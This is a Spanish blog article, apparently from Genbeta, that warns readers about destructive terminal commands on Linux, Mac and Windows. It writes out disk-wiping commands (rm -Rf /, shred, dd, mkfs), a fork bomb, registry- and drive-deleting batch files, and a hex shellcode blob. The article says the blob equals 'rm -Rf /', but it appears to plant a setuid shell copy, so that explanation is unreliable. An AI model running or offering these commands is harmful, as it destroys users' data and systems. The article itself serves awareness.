
Por: Marcos Merino
@MarcosMerino_B
Hacer clic en algún botón o icono cuya función desconoces puede ser bastante peligroso. Pero si hablamos de comandos de texto introducidos en la terminal, la cosa puede ser igual de seria (o más).
Los comandos de texto listados a continuación pueden tener efectos destructivos sobre tu sistema si haces uso de ellos con permisos de administrador. Así que cuidado con los experimentos:
rm -Rf / (Linux, BSD, Mac)
Hay un ejemplo típico cuando toca hablar de comandos de Linux peligrosos...
y su fama está, ciertamente, justificada: procede a borrar todos y cada
uno de los directorios de nuestro disco duro a partir del directorio
raíz (/). Es el siguiente:
rm -Rf /
Es decir, que lo borra todo. Para evitarlo, varias distribuciones traen configurado de serie un 'alias'
que, al iniciar "rm", en realidad estamos accediendo a "rm -i", con lo
que Bash nos pedirá confirmación de que deseamos realizar verdaderamente
el borrado.
Cuenta con una variante que "sólo" borra nuestra carpeta de usuario,
junto con todos los archivos de configuración que residen allí: "rm –rf
~".
mkfs.ext4 /dev/sda (Linux, BSD, Mac)
Si usamos un sistema de archivos EXT4, el siguiente comando no es muy
distinto del típico 'format C:' de DOS/Windows. Formatea, punto:
mkfs.ext4 /dev/sda
Pero, en lugar de formatear toda la jerarquía de archivos, como el
anterior, se centra en una unidad de soporte concreto (puede ser
/dev/sda u otro).
shred /dev/sda (Linux, BSD, Mac)
Los anteriores comandos son peligrosos, sí. Pero, al menos, una vez
ejecutado, permite recurrir a herramientas de recuperación de ficheros
con amplias probabilidades de éxito.
Sin embargo otro comando mucho menos conocido puede borrarte todos los archivos de un disco duro sin solución posible:
shred /dev/sda
Shred es una herramienta que no borra: destruye. Es decir, no se limita a eliminar un archivo de la tabla de ficheros, sino que sobreescribe docenas de veces el espacio físico que aquél ocupa, convirtiéndolo en totalmente imposible de recuperar.
dd if=/dev/random of=/dev/sda (Linux, BSD, Mac)
DD es una herramienta que suele usarse para clonar discos y crear así
copias de seguridad. Pero, usada creativamente, puede provocar que
tengamos que recurrir a ellas. Como en este ejemplo:
dd if=/dev/random of=/dev/sda
'dev/random' es el nombre de un dispositivo virtual que los Unix usan como generador de números aleatorios.
El comando que nos ocupa no ahce sino copiar el 'contenido' de dicho
'dispositivo' en nuestro disco duro primario... de tal manera que su
efecto será el mismo que si usáramos 'shred /dev/sda', aunque mucho más
lento.
mv / /dev/null (Linux, BSD, Mac)
Los dispositivos virtuales los carga el Diablo, parece. Y es que
'dev/random' no es el único de ese tipo que puede darnos dolores de
cabeza. Atentos al siguiente comando:
mv / /dev/null
Este comando mueve (insistimos: no 'copia'. mueve) el contenido de
'/' (es decir, todo el contenido del sistema) al dispositivo virtual
'/dev/null'. El problema es que /dev/null es la Nada, una especie de agujero negro en el que se pierde todo bit que arrojemos para nunca más volver. ¿Veis el problema ahora?
:(){ :|:& };: (Linux, BSD, Mac)
Por fortuna, los comandos anteriores pueden leerse con relativa
facilidad: a poco que sepas algo de Unix o, meramente, de inglés, puedes
fruncir el ceño y pensar "Ey, espera un momento...". Pero, ¿y si un comando no parece un comando?
Veamos el siguiente ejemplo:
:(){ :|:& };:
Estamos ante el comando 'Fork bomb', cuya función es
definir y ejecutar una función que se llama recursivamente a sí misma
de forma infinita. No hace nada... excepto ejecutarse tantas veces que termina agotando la memoria disponible y forzarnos a reiniciar el dispositivo.
Comandos en hexadecimal (Linux, BSD, Mac)
Es posible convertir un comando (cualquiera) escrito en modo texto normal al formato hexadecimal, lo cual impide que podamos leerlo
(o, más bien, comprenderlo). Sin embargo, si le indicamos al sistema
que reconvierta y ejecute la cadena de caracteres hexadecimal, será como
si ejecutásemos directamente el comando original. Así, no existe
ninguna diferencia entre teclear 'rm -Rf /' y lo siguiente:
char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68”
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99”
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7”
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56”
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31”
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69”
“\x6e\x2f\x73\x68\x00\x2d\x63\x00”
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";
rd/s/q/ C:\ (Windows)
He aquí un comando para Windows que es, básicamente equivalente al 'rm -Rf' de Linux, Mac y cía:
rd/s/q/ C:\
Aunque con una diferencia: sólo borrará los datos de una unidad
lógica concreta (en el ejemplo, la C:), pero no de todo el sistema. La
diferencia, claro, sólo será relevante si tenemos más de una unidad en
el sistema.
Comando de la Pantalla Azul de la Muerte (Windows)
¿Echas de menos las viejas pantallas azules de la muerte que tan características resultaban de la experiencia de usuario de Windows? Tranquilo, con el siguiente comando y podrás garantizarte una sesión gratuita de nostalgia:
@echo off
delete %systemdrive%*.* /f /s
Por fortuna para ti, no basta con copiar y pegar en el 'cmd': hay que
guardar ambas líneas como un fichero de texto con extensión .BAT,
equivalente a los .SH de Linux.
Borrado del Registro (Windows)
Otro conjunto de comandos que hay que ejecutar uno detrás de otro haciendo uso de un fichero BAT:
@echo off
START reg delete HKC/.EXE
START reg delete HKCR.dll
START reg delete HKCR/*
FUENTE: -Genbeta.com